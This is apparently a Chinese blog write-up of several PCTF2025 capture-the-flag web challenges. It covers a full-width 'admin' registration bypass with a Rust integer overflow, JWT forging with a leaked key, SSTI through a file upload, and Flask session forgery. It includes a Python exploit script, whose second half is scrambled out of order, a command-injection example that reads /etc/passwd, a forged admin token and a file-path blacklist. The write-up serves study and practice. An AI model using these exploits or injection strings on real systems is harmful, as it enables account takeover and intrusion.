跳到主要内容
PCTF2025 Web 赛题解析(后半部分) | 极客日志
Python 大前端 算法
PCTF2025 Web 赛题解析(后半部分) 整理 PCTF2025 Web 赛题后半部分解题思路。涉及神秘商店(全角字符绕过注册与 Rust 整数溢出)、We_will_rockyou(JWT 密钥随机性与密码覆盖爆破)、Jwt_password_manager(JWT 密钥泄露伪造)、ez_upload(模板注入 SSTI)及 Do_you_know_session(搜索框 SSTI 与 Session 伪造)。通过源码审计、漏洞利用脚本及工具分析,展示从信息收集到获取 Flag 的完整流程。
NodeJser 发布于 2026/4/6 更新于 2026/5/21 32 浏览神秘商店
打开题目只有一个登录框。
尝试登录 admin,利用全角字符注册登录。后端代码有转换,全角能够绕过后端对 admin 的检测,把全角 admin 识别成正常的 admin,造成覆盖注册,修改 admin 密码。
注册 admin,其中 n 为全角。
利用整数溢出从 4294967246 到 50,购买 flag。可以直接脚本登录。
import requests
def exploit ():
url = "http://challenge2.pctf.top:32735"
session = requests.Session()
print ("[+] 注册管理员账户..." )
users = {
"username" : "admi\u00efn" ,
"password" : "123456"
}
response = session.post(f"{url} /register" , data=users)
print (f"[+] 注册响应:{response.status_code} " )
print ("[+] 登录..." )
users = {
"username" : "admi\u00efn" ,
"password" : "123456"
}
response = session.post(f"{url} /login" , data=users)
print (f"[+] 登录响应:{response.status_code} " )
response = session.get(f"{url} /user" )
print (f"[+] 用户信息:{response.text} " )
( )
amount = { : }
response = session.post( , data=amount)
( )
( )
product = { : }
response = session.post( , json=product)
( )
__name__ == :
exploit()
print
"[+] 触发 rust 整数溢出..."
"amount"
4294967246
f"{url} /add_balance"
print
f"[+] 增加余额:{response.text} "
print
"[+] 购买 Flag..."
"product_id"
4
f"{url} /buy_product"
print
f"[+] 购买结果:{response.text} "
if
'__main__'
We_will_rockyou from flask import Flask, redirect, url_for, render_template, request
import jwt
import uuid
import os
import subprocess
from werkzeug.security import generate_password_hash, check_password_hash
app = Flask(__name__)
app.config['SECRET_KEY' ] = str (uuid.uuid4())
accounts = {}
def create_token (user_id, username ):
payload = {
'user_id' : user_id,
'username' : username
}
token = jwt.encode(payload, app.config['SECRET_KEY' ], algorithm='HS256' )
if isinstance (token, bytes ):
token = token.decode('utf-8' )
return token
def verify_token (token ):
try :
payload = jwt.decode(token, app.config['SECRET_KEY' ], algorithms=['HS256' ])
user_id = payload['user_id' ]
username = payload['username' ]
return user_id, username
except :
return None
def login_required (f ):
from functools import wraps
@wraps(f )
def decorated (*args, **kwargs ):
token = request.cookies.get('token' )
if not token:
return redirect(url_for('login' ))
res = verify_token(token)
if not res:
return redirect(url_for('login' ))
user_id, username = res
return f(user_id, username, *args, **kwargs)
return decorated
def check_login (u, p ):
for user_id, info in accounts.items():
if info['username' ] == u:
return check_password_hash(info['password' ], p), user_id
return False , None
@app.route('/' )
def index ():
return redirect(url_for('login' ))
@app.route('/login' , methods=['GET' , 'POST' ] )
def login ():
error_msg = None
if request.method == 'POST' :
username = request.form['username' ]
password = request.form['password' ]
ok, user_id = check_login(username, password)
if ok:
token = create_token(user_id, username)
response = redirect(url_for('dashboard' ))
response.set_cookie('token' , token, httponly=True )
return response
else :
error_msg = "Username or Password incorrect!"
return render_template('login.html' , error_msg=error_msg)
@app.route('/logout' )
def logout ():
response = redirect(url_for('login' ))
response.delete_cookie('token' )
return response
@app.route('/dashboard' )
@login_required
def dashboard (user_id, username ):
return render_template('dashboard.html' , user_id=user_id, username=username)
SAFE_COMMANDS = ['ls' , 'pwd' , 'whoami' , 'dir' , 'more' ]
@app.route('/dashboard/run' , methods=['POST' ] )
@login_required
def run_command (user_id, username ):
user_id, username = verify_token(request.cookies.get('token' ))
cmd = request.form.get('command' , '' ).strip()
if not cmd or cmd.split()[0 ] not in SAFE_COMMANDS:
return render_template('dashboard.html' , user_id=user_id, username=username, error_msg="Error: Command not allowed or empty" )
try :
result = subprocess.run(cmd, shell=True , capture_output=True , text=True , timeout=5 )
output = result.stdout + result.stderr
return render_template('dashboard.html' , user_id=user_id, username=username, output=output, command=cmd)
except Exception as e:
return render_template('dashboard.html' , username=username, error_msg=f"Error: {str (e)} " )
if __name__ == '__main__' :
admin_id = 0
admin_username = 'admin123'
admin_password = str (uuid.uuid4())
for path in ['/password' , './password.txt' ]:
try :
if os.path.exists(path) and os.path.isfile(path):
with open (path, 'rb' ) as f:
raw = f.read()
if not raw:
continue
text = raw.decode('utf-8' , errors='replace' ).strip()
candidates = [line.strip() for line in text.splitlines() if line.strip()]
if candidates:
import secrets
admin_password = secrets.choice(candidates)
break
except :
pass
print (f' * Admin password: {admin_password} ' )
accounts[admin_id] = {
'username' : admin_username,
'password' : generate_password_hash(admin_password)
}
app.run(debug=False , host='0.0.0.0' )
基础配置与初始化 每次重启服务器时,SECRET_KEY 都会随机生成,这意味着服务器重启后所有旧 Token 都会失效。用户信息存储在字典中,服务器重启则数据清空。
认证逻辑 (JWT) 这部分负责用户登录状态的维持。使用 HS256 算法加密生成 JWT token。由于使用了随机 UUID 作为 KEY,安全性在运行时还可以,但无法持久化。
命令执行逻辑 检查机制只判断命令行的第一个单词是否在白名单内。风险点在于 shell=True。虽然开头是 ls,但可以利用 shell 拼接符。例如输入:"ls ; cat /etc/passwd",这里的白名单检查只看到了 "ls",符合要求,但 shell 会执行后面的 cat 命令。
启动逻辑与管理员密码初始化 默认随机生成一个 UUID 密码。密码覆盖机制:尝试从系统文件读取密码。如果能控制这两个文件之一,就能预设管理员密码。启动时会在控制台打印管理员密码(用于初次运行查看)。
admin 用户名不变一直为 admin123。jwt 密钥是随机生成的,但是审计发现 admin 密码虽然一开始是随机生成的,但是后面从一个 txt 文本中随机抽取并覆盖了 admin 密码,这里考察点应该是用字典中的密码爆破。
题目描述提示 Try rockyou.txt!,则使用 rockyou 字典爆破密码,用户名是 admin123。
Jwt_password_manager 下载附件审计代码,发现泄露的 jwt 密钥,查看逻辑发现,他读取了 flag,flag 是 admin 的 password。
app.config['SECRET_KEY' ] = '0f3cbb44-f199-4d34-ade9-1545c0972648'
admin_password = str (uuid.uuid4())
insert_account('admin' , generate_password_hash(admin_password))
for path in ['/flag' , './flag.txt' ]:
try :
if os.path.exists(path) and os.path.isfile(path):
with open (path, 'rb' ) as f:
raw = f.read()
if raw:
content = raw.decode('utf-8' , errors='replace' ).strip()
add_password_item('admin' , website='seeded-flag' , site_username='flag-file' , password=content, notes=f'seeded from {path} ' )
break
except :
pass
那么我们就开始,先注册一个账号拿到普通的 token,然后去 jwt.io 解密 jwt 然后修改成 admin 然后伪造后得到 flag。
伪造后 admin 的 token 为 eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6ImIzMGEwYzNhLTI5Y2YtNGQ0ZS04ZDJiLTcxZGIxOWJlYjc2MiIsInVzZXJuYW1lIjoiYWRtaW4ifQ.PMpPt65DM7rU-z3gljV1f8z5h_DIXSmoDQnMu2vKgQo
然后修改为 admin 的 token,保存密码获取 flag。
ez_upload 打开文件,上传任何文件都查看不了,尝试直接读取/etc/passwd 但是被过滤了,查看源码。
ALLOWED_EXTENSIONS = {'txt' , 'pdf' , 'png' , 'jpg' , 'jpeg' , 'gif' , 'doc' , 'docx' , 'zip' , 'html' }
BLACKLIST_KEYWORDS = [
'env' , '.env' , 'environment' , 'profile' , 'bashrc' , 'proc' , 'sys' , 'etc' , 'passwd' , 'shadow' , 'flag'
]
@app.route('/file' )
def view_file ():
file_path = request.args.get('file' , '' )
if not file_path:
file_path_lower = file_path.lower()
for keyword in BLACKLIST_KEYWORDS:
if keyword in file_path_lower:
return render_template_string(template, error_message='...{}' .format (keyword))
try :
with open (file_path, 'r' , encoding='utf-8' ) as f:
file_content = f.read()
return render_template_string(template, file_path=file_path, file_content=file_content)
except Exception as e:
render_template_string 渲染了 html 页面内容,则可以实现覆盖 index.html 在里面实现 ssti 绕过上传限制....//templates/index.html
Do_you_know_session? 看到题目到处试了试 ssti,发现在搜索框中可以进行 ssti。
但是有 waf,只能看到 config,刚好 secretkey 就存在这里,我们直接就可以获取到。
1919810#mistyovo@foxdog@lzz0403#114514
然后我们看到我们有 session,用 flask-session-cookie-manager。
相关免费在线工具 加密/解密文本 使用加密算法(如AES、TripleDES、Rabbit或RC4)加密和解密文本明文。 在线工具,加密/解密文本在线工具,online
Gemini 图片去水印 基于开源反向 Alpha 混合算法去除 Gemini/Nano Banana 图片水印,支持批量处理与下载。 在线工具,Gemini 图片去水印在线工具,online
curl 转代码 解析常见 curl 参数并生成 fetch、axios、PHP curl 或 Python requests 示例代码。 在线工具,curl 转代码在线工具,online
Base64 字符串编码/解码 将字符串编码和解码为其 Base64 格式表示形式即可。 在线工具,Base64 字符串编码/解码在线工具,online
Base64 文件转换器 将字符串、文件或图像转换为其 Base64 表示形式。 在线工具,Base64 文件转换器在线工具,online
Markdown转HTML 将 Markdown(GFM)转为 HTML 片段,浏览器内 marked 解析;与 HTML转Markdown 互为补充。 在线工具,Markdown转HTML在线工具,online